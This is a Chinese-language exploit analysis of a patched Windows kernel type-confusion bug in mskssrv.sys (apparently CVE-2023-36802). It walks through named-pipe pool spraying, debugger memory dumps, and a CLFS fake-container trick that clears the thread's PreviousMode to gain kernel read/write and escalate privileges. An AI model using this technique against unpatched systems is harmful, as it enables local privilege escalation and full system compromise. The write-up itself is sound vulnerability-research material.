references:
约定,本文所有数字均为16进制
sha256: 7f6538f0eb33c30f0a5cbbf2f39973d4c8dea0d64f69bd18e406012f17a8234f
他这个东西的漏洞位置在FSRendezvousServer::FindObject
函数中,他这个函数不管你传进来的是个什么对象,最后都会搜索成功,但是后面的代码他又假定这个对象是FSStreamReg对象,然后就导致了漏洞的出现
可以看到这个findobject函数里面,不管你0xc字段的dword是不是1,他都会进行搜索
patch之后的代码如果发现你不是指定类型,直接就返回错误了
这里甚至连函数名都改了
mskssrv里面有两种对象,一个是context一个是stream,两种对象的size不一样,前者是0x78,后者是0x1b8
我跟原始作者的环境好像不太一样,我的stream是0x1b8,他的比我多了0x20字节
我们要控制多出来的这0x140字节的内存
这里是内存分配的代码,0x200代表的是flag——POOL_RAISE_IF_ALLOCATION_FAILURE
并没有明确指定是pagedpool还是non-pagedpool,不指定就默认为non-pagedpool
pool spray 堆喷射
reference:
使用如下内核代码可以dump所有的big page
b4 gPoolBigPageTable;
b4 gPoolBigPageTableSize;
// ed gPoolBigPageTable poi(nt!PoolBigPageTable)
// ed gPoolBigPageTableSize poi(nt!PoolBigPageTableSize)
VOID BigPoolDump(int a) {
if (a) {
DbgBreakPoint();
_POOL_TRACKER_BIG_PAGES* poolTrackerTbl = (_POOL_TRACKER_BIG_PAGES*)gPoolBigPageTable;
b4 entryCnt = gPoolBigPageTableSize / sizeof(_POOL_TRACKER_BIG_PAGES);
for (size_t i = 0; i < entryCnt; i++) {
_POOL_TRACKER_BIG_PAGES curEntry = poolTrackerTbl[i];
if (curEntry.Va != 1) {
char* _ = (char*)&(curEntry.Key);
DbgPrint("VA: 0x%p\nSize: 0x%x\nTag:%c%c%c%c\nFreed: %d\nPaged: %d\nCacheAligned: %d\n",
curEntry.Va&(~1), curEntry.NumberOfBytes, _[0], _[1], _[2], _[3],
curEntry.Va & 1, curEntry.PoolType & 1, (curEntry.PoolType & 4) == 4);
}
}
}
}
我当时测试的时候这个tarcker表长度为0x1000
kd> ? poi(nt!PoolBigPageTableSize)
Evaluate expression: 65536 = 00010000
另外,这个东西也可以直接使用ntquerysysteminformation api来进行查询
运行结果:
pool control
我我们可以在用户模式下产生一些内核对象,并且这种对象的某些字段是可以被我们控制的,并且这块内存还得是可以执行的
我们现在需要找到一个可以帮助我们实现上面这种效果的用户模式的api
只要我们新分配的内存大小超过一个page(4k),就会触发一个big pool allocation
实现方法如下:
- 创建一个命名管道,执行一个buffer>4KB的写入操作,只写入不读取,这个操作将会导致内核模块NPFS.sys驱动在non-paged pool中执行一个big pool allocation,在内核中分配一个对应大小的buffer
关于npfs的一些知识
写一个管道测试程序,可以得到如下断点
相关测试程序打包到了这个地方
hook handler代码(我们hook的是nt!ExAllocatePoolWithTag
)
PVOID __fastcall KHHookHandler_0x2aa010(PVOID a1, PVOID a2, PVOID a3, PVOID a4, PVOID a5) {
PBYTE _rsp = a5;
if (a4 == NULL)return 0;
b4 _esp = a4;
if (PsGetCurrentProcessId() == gid) {
b4 tag = d(_esp + 4 + 4 + 4);
if (tag == 0x7246704E) { // memory tag NpFr
DbgPrint("named pipe allocation\n");
DbgBreakPoint();
}
}
return NULL;
}
从这段代码可以看到,我们实际的userbuffer前面有0x1c字节是所谓的_NP_DATA_QUEUE_ENTRY
我们再用之前的程序枚举一下,看看能不能找到这块内存
找到了:
那么现在我们就已经对0x95CC3000这块内核内存拥有了控制的能力,我们可以通过检索tag来确定我们的内存
由于我们是一直驻留在内存里面的(没有客户端去读取这块buffer,那么这个buffer就会一直停留在内核中)
正常情况下的命名管道里面的数据都是读取完就释放掉了
上面截图中的abcdedfg....这些东西就是我们可以控制的内容
但是这块内存并不是可执行的
从win8开始,non-paged pool默认是non-executable
io ring
references:
利用代码
利用代码分析
初始化context对象,FSInitializeContextRendezvous函数
通过deviceiocontrol和驱动进行交互,控制码0x2F0400
对应的处理代码在这个地方1C0008B93
这个驱动设备的iocontrol mj function是另外一个驱动,windows的ks.sys驱动
负责创建的mj 函数也是在这个驱动中,pnp设备驱动就是这个吊样
内存分配 lfh
https://learn.microsoft.com/en-us/windows/win32/memory/low-fragmentation-heap
这种小内存块的分配,通过hook exallocate函数是看不到的,这些是预先分配好的小内存块
named pipe 堆喷
https://github.com/vportal/HEVD
这里面有几张图很好的演示了这个利用过程
首先,小尺寸内存喷射,喷完之后内存布局如下
然后每隔4个句柄释放一个,释放之后的内存布局如下
之后,重新申请内存,由于lfh的特性,这些刚刚被释放的内存会再次分配给我们,当然这里的释放只是把这块内存标记为可以分配,并不会清空内存中的内容,所以你在内核调试器中看他的时候,这些被free的块很可能拥有和没有被free的块相同的内容
references:https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-36802.html
前面先分配内存再挖洞的操作,就是为了后面调用FSInitializeContextRendezvous函数的时候,分配出来的内存可以正好落到我们挖的洞里面,这样就可以使得这个函数新分配出来的对象被我们创造的内存布局所包围,我们可以在内核调试器中观察到这个现象
初始化函数对应的地址是1C0008B70
这里会分配一个context对象
最后会在1C0008CC8处存到FsContext2中
这块内存的size是78
我们前面喷的管道的buffer的size是0n128,也就是80字节,加上pool_header 10字节,一共是90字节,那我们来看一下新分配的这块内存的前90和后90字节的情况
0: kd> dqs ffff98831d6028c0-10-90-90 l2*9+2*9+2*9+2*9
ffff9883`1d602790 20206f49`0a090000 // 我们喷的buffer
ffff9883`1d602798 528eeccb`662ca5a6
ffff9883`1d6027a0 00000000`00000000
ffff9883`1d6027a8 00000000`00000000
ffff9883`1d6027b0 00000000`00000000
ffff9883`1d6027b8 00000000`00000000
ffff9883`1d6027c0 00000000`00000000
ffff9883`1d6027c8 00000000`00000000
ffff9883`1d6027d0 00000000`00000000
ffff9883`1d6027d8 00000000`00000000
ffff9883`1d6027e0 00000000`00000000
ffff9883`1d6027e8 00000000`00000000
ffff9883`1d6027f0 00000000`00000000
ffff9883`1d6027f8 ffffaa8e`549342c9
ffff9883`1d602800 00000000`00000000
ffff9883`1d602808 00000000`00000000
ffff9883`1d602810 00000000`00000000
ffff9883`1d602818 00000000`00000000
ffff9883`1d602820 20206f49`0a090000 // 我们喷的buffer
ffff9883`1d602828 528eeccb`662caa16
ffff9883`1d602830 00000000`00000000
ffff9883`1d602838 00000000`00000000
ffff9883`1d602840 00000000`00000000
ffff9883`1d602848 00000000`00000000
ffff9883`1d602850 00000000`00000000
ffff9883`1d602858 00000000`00000000
ffff9883`1d602860 00000000`00000000
ffff9883`1d602868 00000000`00000000
ffff9883`1d602870 00000000`00000000
ffff9883`1d602878 00000000`00000000
ffff9883`1d602880 00000000`00000000
ffff9883`1d602888 ffffaa8e`549342c9
ffff9883`1d602890 00000000`00000000
ffff9883`1d602898 00000000`00000000
ffff9883`1d6028a0 00000000`00000000
ffff9883`1d6028a8 00000000`00000000
ffff9883`1d6028b0 67657243`02090000 // 新分配的context对象
ffff9883`1d6028b8 528eeccb`662caa86
ffff9883`1d6028c0 fffff800`1b883198 MSKSSRV!FSContextReg::`vftable'
ffff9883`1d6028c8 00000000`00000000
ffff9883`1d6028d0 00000000`00000000
ffff9883`1d6028d8 00000000`00000001
ffff9883`1d6028e0 ffff9883`1d6028c0
ffff9883`1d6028e8 00000000`00000001
ffff9883`1d6028f0 00000078`00000001
ffff9883`1d6028f8 ffff9883`145c2080
ffff9883`1d602900 00000000`00000000
ffff9883`1d602908 00000000`00000000
ffff9883`1d602910 00000000`00000001
ffff9883`1d602918 00000000`000007e4
ffff9883`1d602920 00000013`6fe7474d
ffff9883`1d602928 00000000`00000000
ffff9883`1d602930 00000000`00000000
ffff9883`1d602938 00000000`00000000
ffff9883`1d602940 20206f49`0a090000 // 我们喷的buffer
ffff9883`1d602948 528eeccb`662cab76
ffff9883`1d602950 00000000`00000000
ffff9883`1d602958 00000000`00000000
ffff9883`1d602960 00000000`00000000
ffff9883`1d602968 00000000`00000000
ffff9883`1d602970 00000000`00000000
ffff9883`1d602978 00000000`00000000
ffff9883`1d602980 00000000`00000000
ffff9883`1d602988 00000000`00000000
ffff9883`1d602990 00000000`00000000
ffff9883`1d602998 00000000`00000000
ffff9883`1d6029a0 00000000`00000000
ffff9883`1d6029a8 ffffaa8e`549342c9
ffff9883`1d6029b0 00000000`00000000
ffff9883`1d6029b8 00000000`00000000
ffff9883`1d6029c0 00000000`00000000
ffff9883`1d6029c8 00000000`00000000
ffff98831d6028c0是context对象的地址,-10拿到pool header地址,我们可以看到其偏移为4的dword,即pool tag,是67657243,即'Creg'
从上面的结果可以看到,context对象前面有两个我们喷的buffer,tag是20206f49,即Io
,然后后面也有一个我们喷的buffer,这个新分配的context对象已经彻底被我们包围了
触发漏洞
内存布局完成之后,会触发内核的FSRendezvousServer::PublishRx函数,该函数会调用FSRendezvousServer::FindObject函数
这个函数就是漏洞函数,他本来是应该去搜索stream对象的数组的,但是你即使给他一个context对象,他也能搜出来,而且返回之后他会把context对象当做stream对象来使用,而这两个对象的长度是不一样的,前面我们已经看到context对象的长度是78,而stream对象的长度从init函数1C0008DFF 可以看出来是1b8,比context对象长多了,所以后面肯定会访问到超出context对象合法内存地址的内存
FSRendezvousServer::FindObject 函数
我们稍微看一下这个函数的代码
首先检查对象类型,context的c偏移是1,这个在前面的context的初始化我们已经看到过了
而patch之后的代码会直接检查这个地方是不是2,2表示stream对象,如果不是直接返回0
检查之后,从this中的一个保存了所有对象的链表进行搜索,搜索到就返回true,这里可以看到他把两个对象类型都搜了一下,问题就出在这个地方,这个函数并不关心你要搜索的是什么类型,反正就两种类型都给你搜一下
严格来讲,其实问题不在这个函数,而是在caller,其实caller完全可以先自己判断对象类型,如果不是stream对象,就返回错误就行了
漏洞利用
下图中的a2+8对应的汇编代码是a2+20,a2其实就是inputbuffer,可以由我们随意控制,在代码中我们控制这个地方的dword为1
这里+178,此时需要算一下我们前面的内存布局,每一块内存是90字节,context对象从内存的10处开始,+80就是下一块内存的开始,即我们喷的buffer地址-10,再+90是下一块我们喷的buffer-10,178-80-90=68
略过pool header的10字节,就是我们的buffer的58偏移,我们在代码中控制了buffer的58(0n88)偏移
是blf文件在内核中的buffer的800+2c9偏移,前面在复现clfs漏洞的时候已经介绍过相关基础知识,这里不再赘述
后续代码的分析
最后我们到达unmappages函数,而且v8是完全受我们控制的内核地址
这个函数的最后一个地方有一个往v8的20偏移写入2的操作
这个东西可以结合io ring进行利用,但是google project zero介绍了另外一种通过clfs文件来重写当前进程previos mode的方法
使用clfs
伪造完clfs文件之后,调用createlogfile,该函数最终将会调用到ClfsBaseFilePersisted::CheckSecureAccess
这个函数会在这个地方尝试获取container context
container offset数组的偏移正是328
之后他会使用这里获取到的偏移来得到context context,然后从container context中获取到一个container对象并调用它位于虚函数表+8偏移的函数
本来这个地方应该是存了container context的偏移量1460
但是我们使用前面的漏洞利用FSFrameMdl::UnmapPages中的代码,将0xFFFFB7824D0362C9-2c9+391,即ffffb7824d036391的qword置为0
而这个操作将会导致1460的60被清零,最终container context的偏移就变成了1400,此时我们就可以理解exp代码中这个1400的意思了
这里就是exp代码伪造出来的container context的样子
ffffb7826cb25000是clfs在内核中的800偏移,+70再加container context的偏移1400得到CLFS_CONTAINER_CONTEXT结构体的地址,再加18并取值得到container对象地址0000000001000000 ,这是一个用户模式的地址,完全由我们控制,取值得到虚表地址,可以看到虚表的前两个成员函数被设置为PoFxProcessorNotification和IoSizeofWorkItem函数
另外,container对象的40和48偏移也被伪造了
分别为fakeScratch和fakeBitmapHeader,这两个东西的结构如下图所示
fakeScratch
2: kd> dqs 0000000`01000f00
00000000`01000f00 00000000`00000000
00000000`01000f08 00000000`00000000
00000000`01000f10 00000000`00000000
00000000`01000f18 00000000`00000000
00000000`01000f20 00000000`00000000
00000000`01000f28 00000000`00000000
00000000`01000f30 00000000`00000000
00000000`01000f38 00000000`00000000
00000000`01000f40 00000000`00000000
00000000`01000f48 00000000`00000000
00000000`01000f50 00000000`00000000
00000000`01000f58 00000000`00000000
00000000`01000f60 00000000`00000000
00000000`01000f68 fffff801`22d39510 nt!RtlClearBit
fakeBitmapHeader
2: kd> dqs 00000000`01000400 l2
00000000`01000400 00000000`00000040
00000000`01000408 ffffa581`1b4412b2
fakeBitmapHeader的8偏移存的正是exp进程的previousmode字段的地址
2: kd> dt _kthread previousmode
ntdll!_KTHREAD
+0x232 PreviousMode : Char
2: kd> .thread
Implicit thread is now ffffa581`1b441080
2: kd> db /c 1 ffffa581`1b441080+232 l1
ffffa581`1b4412b2 01 .
首先在ClfsBaseFilePersisted::CheckSecureAccess函数中,第一个成员函数会被调用
成功调用到我们伪造的函数中
稍微看一下PoFxProcessorNotification函数
那么最终就会调用到rtlcleabit函数中
nt!RtlClearBit:
fffff801`22d39510 488b4108 mov rax,qword ptr [rcx+8]
fffff801`22d39514 0fb310 btr dword ptr [rax],edx
fffff801`22d39517 c3 ret
rcx就是fakeBitmapHeader,他的8偏移是exp进程的previousmode字段的地址,第二条指令的意思是将edx指向的bit清0,而edx是0,那么previousmode的最低位的bit就被清0了,previousmode只有一字节,最低bit原来是1,表示user mode,现在变成0了,表示kernel mode,那么我们就可以直接进行内核内存的操作了
直接操作内核地址进行提权即可
对应poc
clfs的另一套利用方案
我这一套利用方案的思路就是通过unmappages函数中的下面这两条指令
来将正常的container context的对象的地址修改为一个可以确定的值
我们创建一个log文件,获取到clfs 800偏移的地址,然后给他添加一个container,默认情况下,container context的偏移是1460,那么我们就可以计算出container对象的地址,然后通过堆喷射结合上面那两条指令对container对象的地址进行操作,最终使得container对象的地址变成200000000,然后我们直接在exp中指定这个基地址进行内存的分配,构造container对象,然后关闭log文件 句柄,触发ObfDereferenceObjectWithTag函数的调用,使用这个函数给previousmode减一即可
可以看到,函数运行完成后,previousmode从0变成1